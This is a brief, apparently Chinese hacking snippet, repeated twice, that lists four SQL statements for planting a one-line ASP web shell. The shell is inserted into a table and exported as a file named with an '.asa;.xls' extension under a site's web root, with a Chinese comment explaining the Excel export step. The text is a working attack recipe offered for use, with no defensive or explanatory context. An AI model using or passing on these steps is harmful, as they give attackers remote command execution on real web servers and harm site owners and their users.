1.create table cmd (a varchar(50))
2.insert into cmd (a) values (‘<%execute request(“tmdsb”)%>’)
3.select * into [a] in ‘C:\\www.tmdsb.com\\tmdsb.asa;.xls’ ‘excel 4.0;’ from cmd
(把表cmd的内容导出为物理路径的一个EXCEL文件)
4.drop table cmd
1.create table cmd (a varchar(50))
2.insert into cmd (a) values (‘<%execute request(“tmdsb”)%>’)
3.select * into [a] in ‘C:\\www.tmdsb.com\\tmdsb.asa;.xls’ ‘excel 4.0;’ from cmd
(把表cmd的内容导出为物理路径的一个EXCEL文件)
4.drop table cmd